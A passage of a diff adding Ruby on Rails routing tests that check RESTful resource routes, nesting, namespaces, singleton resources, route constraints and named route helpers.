+ with_restful_routing :messages, :conditions => { :subdomain => 'app' } do
+ assert @routes.recognize_path("/messages", :method => :get, :subdomain => 'app')
+ end
+ end
+
+ def test_irregular_id_with_no_constraints_should_raise_error
+ expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
+
+ with_restful_routing :messages do
+ assert_raise(Assertion) do
+ assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
+ end
+ end
+ end
+
+ def test_irregular_id_with_constraints_should_pass
+ expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
+
+ with_restful_routing(:messages, :constraints => {:id => /[0-9]\.[0-9]\.[0-9]/}) do
+ assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
+ end
+ end
+
+ def test_with_path_prefix_constraints
+ expected_options = {:controller => 'messages', :action => 'show', :thread_id => '1.1.1', :id => '1'}
+ with_restful_routing :messages, :path_prefix => '/thread/:thread_id', :constraints => {:thread_id => /[0-9]\.[0-9]\.[0-9]/} do
+ assert_recognizes(expected_options, :path => 'thread/1.1.1/messages/1', :method => :get)
+ end
+ end
+
+ def test_irregular_id_constraints_should_get_passed_to_member_actions
+ expected_options = {:controller => 'messages', :action => 'custom', :id => '1.1.1'}
+
+ with_restful_routing(:messages, :member => {:custom => :get}, :constraints => {:id => /[0-9]\.[0-9]\.[0-9]/}) do
+ assert_recognizes(expected_options, :path => 'messages/1.1.1/custom', :method => :get)
+ end
+ end
+
+ def test_with_path_prefix
+ with_restful_routing :messages, :path_prefix => '/thread/:thread_id' do
+ assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
+ end
+ end
+
+ def test_multiple_with_path_prefix
+ with_restful_routing :messages, :comments, :path_prefix => '/thread/:thread_id' do
+ assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
+ assert_simply_restful_for :comments, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
+ end
+ end
+
+ def test_with_name_prefix
+ with_restful_routing :messages, :as => 'post_messages' do
+ assert_simply_restful_for :messages, :name_prefix => 'post_'
+ end
+ end
+
+ def test_with_collection_actions
+ actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete, 'e' => :patch }
+
+ with_routing do |set|
+ set.draw do
+ resources :messages do
+ get :a, :on => :collection
+ put :b, :on => :collection
+ post :c, :on => :collection
+ delete :d, :on => :collection
+ patch :e, :on => :collection
+ end
+ end
+
+ assert_restful_routes_for :messages do |options|
+ actions.each do |action, method|
+ assert_recognizes(options.merge(:action => action), :path => "/messages/#{action}", :method => method)
+ end
+ end
+
+ assert_restful_named_routes_for :messages do |options|
+ actions.keys.each do |action|
+ assert_named_route "/messages/#{action}", "#{action}_messages_path", :action => action
+ end
+ end
+ end
+ end
+
+ def test_with_collection_actions_and_name_prefix
+ actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete, 'e' => :patch }
+
+ with_routing do |set|
+ set.draw do
+ scope '/threads/:thread_id' do
+ resources :messages, :as => 'thread_messages' do
+ get :a, :on => :collection
+ put :b, :on => :collection
+ post :c, :on => :collection
+ delete :d, :on => :collection
+ patch :e, :on => :collection
+ end
+ end
+ end
+
+ assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.each do |action, method|
+ assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
+ end
+ end
+
+ assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.keys.each do |action|
+ assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
+ end
+ end
+ end
+ end
+
+ def test_with_collection_actions_and_name_prefix_and_member_action_with_same_name
+ actions = { 'a' => :get }
+
+ with_routing do |set|
+ set.draw do
+ scope '/threads/:thread_id' do
+ resources :messages, :as => 'thread_messages' do
+ get :a, :on => :collection
+ get :a, :on => :member
+ end
+ end
+ end
+
+ assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.each do |action, method|
+ assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
+ end
+ end
+
+ assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.keys.each do |action|
+ assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
+ end
+ end
+ end
+ end
+
+ def test_with_collection_action_and_name_prefix_and_formatted
+ actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete, 'e' => :patch }
+
+ with_routing do |set|
+ set.draw do
+ scope '/threads/:thread_id' do
+ resources :messages, :as => 'thread_messages' do
+ get :a, :on => :collection
+ put :b, :on => :collection
+ post :c, :on => :collection
+ delete :d, :on => :collection
+ patch :e, :on => :collection
+ end
+ end
+ end
+
+ assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.each do |action, method|
+ assert_recognizes(options.merge(:action => action, :format => 'xml'), :path => "/threads/1/messages/#{action}.xml", :method => method)
+ end
+ end
+
+ assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ actions.keys.each do |action|
+ assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", :action => action, :format => 'xml'
+ end
+ end
+ end
+ end
+
+ def test_with_member_action
+ [:patch, :put, :post].each do |method|
+ with_restful_routing :messages, :member => { :mark => method } do
+ mark_options = {:action => 'mark', :id => '1'}
+ mark_path = "/messages/1/mark"
+ assert_restful_routes_for :messages do |options|
+ assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method)
+ end
+
+ assert_restful_named_routes_for :messages do |options|
+ assert_named_route mark_path, :mark_message_path, mark_options
+ end
+ end
+ end
+ end
+
+ def test_with_member_action_and_requirement
+ expected_options = {:controller => 'messages', :action => 'mark', :id => '1.1.1'}
+
+ with_restful_routing(:messages, :constraints => {:id => /[0-9]\.[0-9]\.[0-9]/}, :member => { :mark => :get }) do
+ assert_recognizes(expected_options, :path => 'messages/1.1.1/mark', :method => :get)
+ end
+ end
+
+ def test_member_when_override_paths_for_default_restful_actions_with
+ [:patch, :put, :post].each do |method|
+ with_restful_routing :messages, :member => { :mark => method }, :path_names => {:new => 'nuevo'} do
+ mark_options = {:action => 'mark', :id => '1', :controller => "messages"}
+ mark_path = "/messages/1/mark"
+
+ assert_restful_routes_for :messages, :path_names => {:new => 'nuevo'} do |options|
+ assert_recognizes(options.merge(mark_options), :path => mark_path, :method => method)
+ end
+
+ assert_restful_named_routes_for :messages, :path_names => {:new => 'nuevo'} do |options|
+ assert_named_route mark_path, :mark_message_path, mark_options
+ end
+ end
+ end
+ end
+
+ def test_with_two_member_actions_with_same_method
+ [:patch, :put, :post].each do |method|
+ with_routing do |set|
+ set.draw do
+ resources :messages do
+ member do
+ match :mark , :via => method
+ match :unmark, :via => method
+ end
+ end
+ end
+
+ %w(mark unmark).each do |action|
+ action_options = {:action => action, :id => '1'}
+ action_path = "/messages/1/#{action}"
+ assert_restful_routes_for :messages do |options|
+ assert_recognizes(options.merge(action_options), :path => action_path, :method => method)
+ end
+
+ assert_restful_named_routes_for :messages do |options|
+ assert_named_route action_path, "#{action}_message_path".to_sym, action_options
+ end
+ end
+ end
+ end
+ end
+
+ def test_array_as_collection_or_member_method_value
+ with_routing do |set|
+ set.draw do
+ resources :messages do
+ collection do
+ match :search, :via => [:post, :get]
+ end
+
+ member do
+ match :toggle, :via => [:post, :get]
+ end
+ end
+ end
+
+ assert_restful_routes_for :messages do |options|
+ [:get, :post].each do |method|
+ assert_recognizes(options.merge(:action => 'search'), :path => "/messages/search", :method => method)
+ end
+ [:get, :post].each do |method|
+ assert_recognizes(options.merge(:action => 'toggle', :id => '1'), :path => '/messages/1/toggle', :method => method)
+ end
+ end
+ end
+ end
+
+ def test_with_new_action
+ with_routing do |set|
+ set.draw do
+ resources :messages do
+ post :preview, :on => :new
+ end
+ end
+
+ preview_options = {:action => 'preview'}
+ preview_path = "/messages/new/preview"
+ assert_restful_routes_for :messages do |options|
+ assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
+ end
+
+ assert_restful_named_routes_for :messages do |options|
+ assert_named_route preview_path, :preview_new_message_path, preview_options
+ end
+ end
+ end
+
+ def test_with_new_action_with_name_prefix
+ with_routing do |set|
+ set.draw do
+ scope('/threads/:thread_id') do
+ resources :messages, :as => "thread_messages" do
+ post :preview, :on => :new
+ end
+ end
+ end
+
+ preview_options = {:action => 'preview', :thread_id => '1'}
+ preview_path = "/threads/1/messages/new/preview"
+ assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
+ end
+
+ assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ assert_named_route preview_path, :preview_new_thread_message_path, preview_options
+ end
+ end
+ end
+
+ def test_with_formatted_new_action_with_name_prefix
+ with_routing do |set|
+ set.draw do
+ scope('/threads/:thread_id') do
+ resources :messages, :as => "thread_messages" do
+ post :preview, :on => :new
+ end
+ end
+ end
+
+ preview_options = {:action => 'preview', :thread_id => '1', :format => 'xml'}
+ preview_path = "/threads/1/messages/new/preview.xml"
+ assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ assert_recognizes(options.merge(preview_options), :path => preview_path, :method => :post)
+ end
+
+ assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+ assert_named_route preview_path, :preview_new_thread_message_path, preview_options
+ end
+ end
+ end
+
+ def test_override_new_method
+ with_restful_routing :messages do
+ assert_restful_routes_for :messages do |options|
+ assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
+ assert_raise(ActionController::RoutingError) do
+ @routes.recognize_path("/messages/new", :method => :post)
+ end
+ end
+ end
+
+ with_routing do |set|
+ set.draw do
+ resources :messages do
+ match :new, :via => [:post, :get], :on => :new
+ end
+ end
+
+ assert_restful_routes_for :messages do |options|
+ assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :post)
+ assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
+ end
+ end
+ end
+
+ def test_nested_restful_routes
+ with_routing do |set|
+ set.draw do
+ resources :threads do
+ resources :messages do
+ resources :comments
+ end
+ end
+ end
+
+ assert_simply_restful_for :threads
+ assert_simply_restful_for :messages,
+ :name_prefix => 'thread_',
+ :path_prefix => 'threads/1/',
+ :options => { :thread_id => '1' }
+ assert_simply_restful_for :comments,
+ :name_prefix => 'thread_message_',
+ :path_prefix => 'threads/1/messages/2/',
+ :options => { :thread_id => '1', :message_id => '2' }
+ end
+ end
+
+ def test_shallow_nested_restful_routes
+ with_routing do |set|
+ set.draw do
+ resources :threads, :shallow => true do
+ resources :messages do
+ resources :comments
+ end
+ end
+ end
+
+ assert_simply_restful_for :threads,
+ :shallow => true
+ assert_simply_restful_for :messages,
+ :name_prefix => 'thread_',
+ :path_prefix => 'threads/1/',
+ :shallow => true,
+ :options => { :thread_id => '1' }
+ assert_simply_restful_for :comments,
+ :name_prefix => 'message_',
+ :path_prefix => 'messages/2/',
+ :shallow => true,
+ :options => { :message_id => '2' }
+ end
+ end
+
+ def test_shallow_nested_restful_routes_with_namespaces
+ with_routing do |set|
+ set.draw do
+ namespace :backoffice do
+ namespace :admin do
+ resources :products, :shallow => true do
+ resources :images
+ end
+ end
+ end
+ end
+
+ assert_simply_restful_for :products,
+ :controller => 'backoffice/admin/products',
+ :namespace => 'backoffice/admin/',
+ :name_prefix => 'backoffice_admin_',
+ :path_prefix => 'backoffice/admin/',
+ :shallow => true
+ assert_simply_restful_for :images,
+ :controller => 'backoffice/admin/images',
+ :namespace => 'backoffice/admin/',
+ :name_prefix => 'backoffice_admin_product_',
+ :path_prefix => 'backoffice/admin/products/1/',
+ :shallow => true,
+ :options => { :product_id => '1' }
+ end
+ end
+
+ def test_restful_routes_dont_generate_duplicates
+ with_restful_routing :messages do
+ routes = @routes.routes
+ routes.each do |route|
+ routes.each do |r|
+ next if route === r # skip the comparison instance
+ assert_not_equal [route.conditions, route.path.spec.to_s], [r.conditions, r.path.spec.to_s]
+ end
+ end
+ end
+ end
+
+ def test_should_create_singleton_resource_routes
+ with_singleton_resources :account do
+ assert_singleton_restful_for :account
+ end
+ end
+
+ def test_should_create_multiple_singleton_resource_routes
+ with_singleton_resources :account, :logo do
+ assert_singleton_restful_for :account
+ assert_singleton_restful_for :logo
+ end
+ end
+
+ def test_should_create_nested_singleton_resource_routes
+ with_routing do |set|
+ set.draw do
+ resource :admin, :controller => 'admin' do
+ resource :account
+ end
+ end
+
+ assert_singleton_restful_for :admin, :controller => 'admin'
+ assert_singleton_restful_for :account, :name_prefix => "admin_", :path_prefix => 'admin/'
+ end
+ end
+
+ def test_singleton_resource_with_member_action
+ [:patch, :put, :post].each do |method|
+ with_routing do |set|
+ set.draw do
+ resource :account do
+ match :reset, :on => :member, :via => method
+ end
+ end
+
+ reset_options = {:action => 'reset'}
+ reset_path = "/account/reset"
+ assert_singleton_routes_for :account do |options|
+ assert_recognizes(options.merge(reset_options), :path => reset_path, :method => method)
+ end
+
+ assert_singleton_named_routes_for :account do |options|
+ assert_named_route reset_path, :reset_account_path, reset_options
+ end
+ end
+ end
+ end
+
+ def test_singleton_resource_with_two_member_actions_with_same_method
+ [:patch, :put, :post].each do |method|
+ with_routing do |set|
+ set.draw do
+ resource :account do
+ match :reset, :on => :member, :via => method
+ match :disable, :on => :member, :via => method
+ end
+ end
+
+ %w(reset disable).each do |action|
+ action_options = {:action => action}
+ action_path = "/account/#{action}"
+ assert_singleton_routes_for :account do |options|
+ assert_recognizes(options.merge(action_options), :path => action_path, :method => method)
+ end
+
+ assert_singleton_named_routes_for :account do |options|
+ assert_named_route action_path, "#{action}_account_path".to_sym, action_options
+ end
+ end
+ end
+ end
+ end
+
+ def test_should_nest_resources_in_singleton_resource
+ with_routing do |set|
+ set.draw do
+ resource :account do
+ resources :messages
+ end
+ end
+
+ assert_singleton_restful_for :account
+ assert_simply_restful_for :messages, :name_prefix => "account_", :path_prefix => 'account/'
+ end
+ end
+
+ def test_should_nest_resources_in_singleton_resource_with_path_scope
+ with_routing do |set|
+ set.draw do
+ scope ':site_id' do
+ resource(:account) do
+ resources :messages
+ end
+ end
+ end
+
+ assert_singleton_restful_for :account, :path_prefix => '7/', :options => { :site_id => '7' }
+ assert_simply_restful_for :messages, :name_prefix => "account_", :path_prefix => '7/account/', :options => { :site_id => '7' }
+ end
+ end
+
+ def test_should_nest_singleton_resource_in_resources
+ with_routing do |set|
+ set.draw do
+ resources :threads do
+ resource :admin, :controller => 'admin'
+ end
+ end
+
+ assert_simply_restful_for :threads
+ assert_singleton_restful_for :admin, :controller => 'admin', :name_prefix => 'thread_', :path_prefix => 'threads/5/', :options => { :thread_id => '5' }
+ end
+ end
+
+ def test_should_not_allow_delete_or_patch_or_put_on_collection_path
+ controller_name = :messages
+ with_restful_routing controller_name do
+ options = { :controller => controller_name.to_s }
+ collection_path = "/#{controller_name}"
+
+ assert_raise(Assertion) do
+ assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :patch)
+ end
+
+ assert_raise(Assertion) do
+ assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :put)
+ end
+
+ assert_raise(Assertion) do
+ assert_recognizes(options.merge(:action => 'destroy'), :path => collection_path, :method => :delete)
+ end
+ end
+ end
+
+ def test_new_style_named_routes_for_resource
+ with_routing do |set|
+ set.draw do
+ scope '/threads/:thread_id' do
+ resources :messages, :as => 'thread_messages' do
+ get :search, :on => :collection
+ get :preview, :on => :new
+ end
+ end
+ end
+
+ assert_simply_restful_for :messages, :name_prefix => 'thread_', :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
+ assert_named_route "/threads/1/messages/search", "search_thread_messages_path", {}
+ assert_named_route "/threads/1/messages/new", "new_thread_message_path", {}
+ assert_named_route "/threads/1/messages/new/preview", "preview_new_thread_message_path", {}
+ end
+ end
+
+ def test_new_style_named_routes_for_singleton_resource
+ with_routing do |set|
+ set.draw do
+ scope '/admin' do
+ resource :account, :as => :admin_account do
+ get :login, :on => :member
+ get :preview, :on => :new
+ end
+ end
+ end
+ assert_singleton_restful_for :account, :name_prefix => 'admin_', :path_prefix => 'admin/'
+ assert_named_route "/admin/account/login", "login_admin_account_path", {}
+ assert_named_route "/admin/account/new", "new_admin_account_path", {}
+ assert_named_route "/admin/account/new/preview", "preview_new_admin_account_path", {}
+ end
+ end
+
+ def test_resources_in_namespace
+ with_routing do |set|
+ set.draw do
+ namespace :backoffice do
+ resources :products
+ end
+ end
+
+ assert_simply_restful_for :products, :controller => "backoffice/products", :name_prefix => 'backoffice_', :path_prefix => 'backoffice/'
+ end
+ end
+
+ def test_resources_in_nested_namespace
+ with_routing do |set|
+ set.draw do
+ namespace :backoffice do
+ namespace :admin do
+ resources :products
+ end
+ end
+ end
+
+ assert_simply_restful_for :products, :controller => "backoffice/admin/products", :name_prefix => 'backoffice_admin_', :path_prefix => 'backoffice/admin/'
+ end
+ end
+
+ def test_resources_using_namespace
+ with_routing do |set|
+ set.draw do
+ namespace :backoffice, :path => nil, :as => nil do
+ resources :products
+ end
+ end
+
+ assert_simply_restful_for :products, :controller => "backoffice/products"
+ end
+ end
+
+ def test_nested_resources_using_namespace
+ with_routing do |set|
+ set.draw do
+ namespace :backoffice do
+ resources :products do
+ resources :images
+ end
+ end
+ end
+
+ assert_simply_restful_for :images, :controller => "backoffice/images", :name_prefix => 'backoffice_product_', :path_prefix => 'backoffice/products/1/', :options => {:product_id => '1'}
+ end
+ end
+
+ def test_nested_resources_in_nested_namespace
+ with_routing do |set|
+ set.draw do
+ namespace :backoffice do
+ namespace :admin do
+ resources :products do
+ resources :images
+ end
+ end
+ end
+ end
+
+ assert_simply_restful_for :images, :controller => "backoffice/admin/images", :name_prefix => 'backoffice_admin_product_', :path_prefix => 'backoffice/admin/products/1/', :options => {:product_id => '1'}
+ end
+ end
+
+ def test_with_path_segment
+ with_restful_routing :messages do
+ assert_simply_restful_for :messages
+ assert_recognizes({:controller => "messages", :action => "index"}, "/messages")
+ assert_recognizes({:controller => "messages", :action => "index"}, "/messages/")
+ end
+
+ with_routing do |set|
+ set.draw do
+ resources :messages, :path => 'reviews'
+ end
+ assert_simply_restful_for :messages, :as => 'reviews'
+ assert_recognizes({:controller => "messages", :action => "index"}, "/reviews")
+ assert_recognizes({:controller => "messages", :action => "index"}, "/reviews/")
+ end
+ end
+
+ def test_multiple_with_path_segment_and_controller
+ with_routing do |set|
+ set.draw do
+ resources :products do
+ resources :product_reviews, :path => 'reviews', :controller => 'messages'
+ end
+ resources :tutors do
+ resources :tutor_reviews, :path => 'reviews', :controller => 'comments'
+ end
+ end
+
+ assert_simply_restful_for :product_reviews, :controller=>'messages', :as => 'reviews', :name_prefix => 'product_', :path_prefix => 'products/1/', :options => {:product_id => '1'}
+ assert_simply_restful_for :tutor_reviews,:controller=>'comments', :as => 'reviews', :name_prefix => 'tutor_', :path_prefix => 'tutors/1/', :options => {:tutor_id => '1'}
+ end
+ end
+
+ def test_with_path_segment_path_prefix_constraints
+ expected_options = {:controller => 'messages', :action => 'show', :thread_id => '1.1.1', :id => '1'}
+ with_routing do |set|
+ set.draw do
+ scope '/thread/:thread_id', :constraints => { :thread_id => /[0-9]\.[0-9]\.[0-9]/ } do
+ resources :messages, :path => 'comments'
+ end
+ end
+ assert_recognizes(expected_options, :path => 'thread/1.1.1/comments/1', :method => :get)
+ end
+ end
+
+ def test_resource_has_only_show_action
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => :show
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, :show, [:index, :new, :create, :edit, :update, :destroy])
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, :show, [:index, :new, :create, :edit, :update, :destroy])
+ end
+ end
+
+ def test_singleton_resource_has_only_show_action
+ with_routing do |set|
+ set.draw do
+ resource :account, :only => :show
+ end
+
+ assert_singleton_resource_allowed_routes('accounts', {}, :show, [:index, :new, :create, :edit, :update, :destroy])
+ assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' }, :show, [:index, :new, :create, :edit, :update, :destroy])
+ end
+ end
+
+ def test_resource_does_not_have_destroy_action
+ with_routing do |set|
+ set.draw do
+ resources :products, :except => :destroy
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, [:index, :new, :create, :show, :edit, :update], :destroy)
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, [:index, :new, :create, :show, :edit, :update], :destroy)
+ end
+ end
+
+ def test_singleton_resource_does_not_have_destroy_action
+ with_routing do |set|
+ set.draw do
+ resource :account, :except => :destroy
+ end
+
+ assert_singleton_resource_allowed_routes('accounts', {}, [:new, :create, :show, :edit, :update], :destroy)
+ assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' }, [:new, :create, :show, :edit, :update], :destroy)
+ end
+ end
+
+ def test_resource_has_only_create_action_and_named_route
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => :create
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, :create, [:index, :new, :show, :edit, :update, :destroy])
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, :create, [:index, :new, :show, :edit, :update, :destroy])
+
+ assert_not_nil set.named_routes[:products]
+ end
+ end
+
+ def test_resource_has_only_update_action_and_named_route
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => :update
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, :update, [:index, :new, :create, :show, :edit, :destroy])
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, :update, [:index, :new, :create, :show, :edit, :destroy])
+
+ assert_not_nil set.named_routes[:product]
+ end
+ end
+
+ def test_resource_has_only_destroy_action_and_named_route
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => :destroy
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, :destroy, [:index, :new, :create, :show, :edit, :update])
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, :destroy, [:index, :new, :create, :show, :edit, :update])
+
+ assert_not_nil set.named_routes[:product]
+ end
+ end
+
+ def test_singleton_resource_has_only_create_action_and_named_route
+ with_routing do |set|
+ set.draw do
+ resource :account, :only => :create
+ end
+
+ assert_singleton_resource_allowed_routes('accounts', {}, :create, [:new, :show, :edit, :update, :destroy])
+ assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' }, :create, [:new, :show, :edit, :update, :destroy])
+
+ assert_not_nil set.named_routes[:account]
+ end
+ end
+
+ def test_singleton_resource_has_only_update_action_and_named_route
+ with_routing do |set|
+ set.draw do
+ resource :account, :only => :update
+ end
+
+ assert_singleton_resource_allowed_routes('accounts', {}, :update, [:new, :create, :show, :edit, :destroy])
+ assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' }, :update, [:new, :create, :show, :edit, :destroy])
+
+ assert_not_nil set.named_routes[:account]
+ end
+ end
+
+ def test_singleton_resource_has_only_destroy_action_and_named_route
+ with_routing do |set|
+ set.draw do
+ resource :account, :only => :destroy
+ end
+
+ assert_singleton_resource_allowed_routes('accounts', {}, :destroy, [:new, :create, :show, :edit, :update])
+ assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' }, :destroy, [:new, :create, :show, :edit, :update])
+
+ assert_not_nil set.named_routes[:account]
+ end
+ end
+
+ def test_resource_has_only_collection_action
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => [] do
+ get :sale, :on => :collection
+ end
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+
+ assert_recognizes({ :controller => 'products', :action => 'sale' }, :path => 'products/sale', :method => :get)
+ assert_recognizes({ :controller => 'products', :action => 'sale', :format => 'xml' }, :path => 'products/sale.xml', :method => :get)
+ end
+ end
+
+ def test_resource_has_only_member_action
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => [] do
+ get :preview, :on => :member
+ end
+ end
+
+ assert_resource_allowed_routes('products', {}, { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+ assert_resource_allowed_routes('products', { :format => 'xml' }, { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+
+ assert_recognizes({ :controller => 'products', :action => 'preview', :id => '1' }, :path => 'products/1/preview', :method => :get)
+ assert_recognizes({ :controller => 'products', :action => 'preview', :id => '1', :format => 'xml' }, :path => 'products/1/preview.xml', :method => :get)
+ end
+ end
+
+ def test_singleton_resource_has_only_member_action
+ with_routing do |set|
+ set.draw do
+ resource :account, :only => [] do
+ member do
+ get :signup
+ end
+ end
+ end
+
+ assert_singleton_resource_allowed_routes('accounts', {}, [], [:new, :create, :show, :edit, :update, :destroy])
+ assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' }, [], [:new, :create, :show, :edit, :update, :destroy])
+
+ assert_recognizes({ :controller => 'accounts', :action => 'signup' }, :path => 'account/signup', :method => :get)
+ assert_recognizes({ :controller => 'accounts', :action => 'signup', :format => 'xml' }, :path => 'account/signup.xml', :method => :get)
+ end
+ end
+
+ def test_nested_resource_has_only_show_and_member_action
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => [:index, :show] do
+ resources :images, :only => :show do
+ get :thumbnail, :on => :member
+ end
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
+
+ assert_recognizes({ :controller => 'images', :action => 'thumbnail', :product_id => '1', :id => '2' }, :path => 'products/1/images/2/thumbnail', :method => :get)
+ assert_recognizes({ :controller => 'images', :action => 'thumbnail', :product_id => '1', :id => '2', :format => 'jpg' }, :path => 'products/1/images/2/thumbnail.jpg', :method => :get)
+ end
+ end
+
+ def test_nested_resource_does_not_inherit_only_option
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => :show do
+ resources :images, :except => :destroy
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update], :destroy, 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update], :destroy, 'products/1/images')
+ end
+ end
+
+ def test_nested_resource_does_not_inherit_only_option_by_default
+ with_routing do |set|
+ set.draw do
+ resources :products, :only => :show do
+ resources :images
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+ end
+ end
+
+ def test_nested_resource_does_not_inherit_except_option
+ with_routing do |set|
+ set.draw do
+ resources :products, :except => :show do
+ resources :images, :only => :destroy
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, :destroy, [:index, :new, :create, :show, :edit, :update], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, :destroy, [:index, :new, :create, :show, :edit, :update], 'products/1/images')
+ end
+ end
+
+ def test_nested_resource_does_not_inherit_except_option_by_default
+ with_routing do |set|
+ set.draw do
+ resources :products, :except => :show do
+ resources :images
+ end
+ end
+
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+ end
+ end
+
+ def test_default_singleton_restful_route_uses_get
+ with_routing do |set|
+ set.draw do
+ resource :product
+ end
+
+ assert_routing '/product', :controller => 'products', :action => 'show'
+ assert set.recognize_path("/product", :method => :get)
+ end
+ end
+
+ def test_singleton_resource_name_is_not_singularized
+ with_singleton_resources(:preferences) do
+ assert_singleton_restful_for :preferences
+ end
+ end
+
+ protected
+ def with_restful_routing(*args)
+ options = args.extract_options!
+ collection_methods = options.delete(:collection)
+ member_methods = options.delete(:member)
+ path_prefix = options.delete(:path_prefix)
+ args.push(options)
+
+ with_routing do |set|
+ set.draw do
+ scope(path_prefix || '') do
+ resources(*args) do
+ if collection_methods
+ collection do
+ collection_methods.each do |name, method|
+ send(method, name)
+ end
+ end
+ end
+
+ if member_methods
+ member do
+ member_methods.each do |name, method|
+ send(method, name)
+ end
+ end
+ end
+ end
+ end
+ end
+ yield
+ end
+ end
+
+ def with_singleton_resources(*args)
+ with_routing do |set|
+ set.draw {resource(*args) }
+ yield
+ end
+ end
+
+ # runs assert_restful_routes_for and assert_restful_named_routes for on the controller_name and options, without passing a block.
+ def assert_simply_restful_for(controller_name, options = {})
+ assert_restful_routes_for controller_name, options
